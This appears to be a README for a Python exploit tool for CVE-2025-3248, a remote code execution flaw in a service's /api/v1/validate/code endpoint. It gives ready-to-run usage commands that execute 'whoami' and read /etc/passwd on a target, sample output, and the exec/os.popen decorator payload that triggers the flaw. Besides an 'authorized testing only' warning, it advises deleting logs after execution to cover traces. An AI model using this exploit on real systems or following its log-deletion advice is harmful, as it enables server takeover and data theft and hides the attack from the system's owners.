CVE-2025-3248

编辑

python cve-2025-3248.py -t http://192.168.1.100:7860 -c "whoami" Example Output: 文本

编辑

[+] 命令执行成功

www-data

Example 2: JSON format output + verbose log bash

编辑

python cve-2025-3248.py -t https://app.example.com -c "cat /etc/passwd" -o json -v Example Output: json

编辑

{ "status": 200, "content": "root❌0:0:root:/root:/bin/bash\n...", "success": true } Brief Vulnerability Analysis The target service receives the code parameter at the /api/v1/validate/code endpoint The server does not perform input sanitization and directly uses exec() to execute the incoming Python code The attacker crafts a special payload: python

编辑

import os @exec("raise Exception(os.popen('whoami').read())") def f(): pass The os.popen() is triggered via the exception handling mechanism to execute system commands Risk: This vulnerability can lead to complete server compromise; attackers can execute arbitrary system commands, steal sensitive data, implant backdoors, etc. Security Warning ⚠️ This tool is for authorized penetration testing only ⚠️ Legal risk: Using this tool for penetration testing without explicit authorization may violate laws such as the Computer Fraud and Abuse Act System risk: Executing system commands may cause service crashes, data loss, or system downtime Detection risk: Attack behavior may be detected and logged by firewalls, IDS/IPS Recommendations: Only use in controlled environments (e.g., labs, authorized test environments) Prefer the -v parameter to view detailed logs and avoid misoperations Clean up traces immediately after execution (e.g., delete logs, close sessions) Dependencies Python 3.7+ requests library (must be installed) bash

编辑

pip install requests Error Handling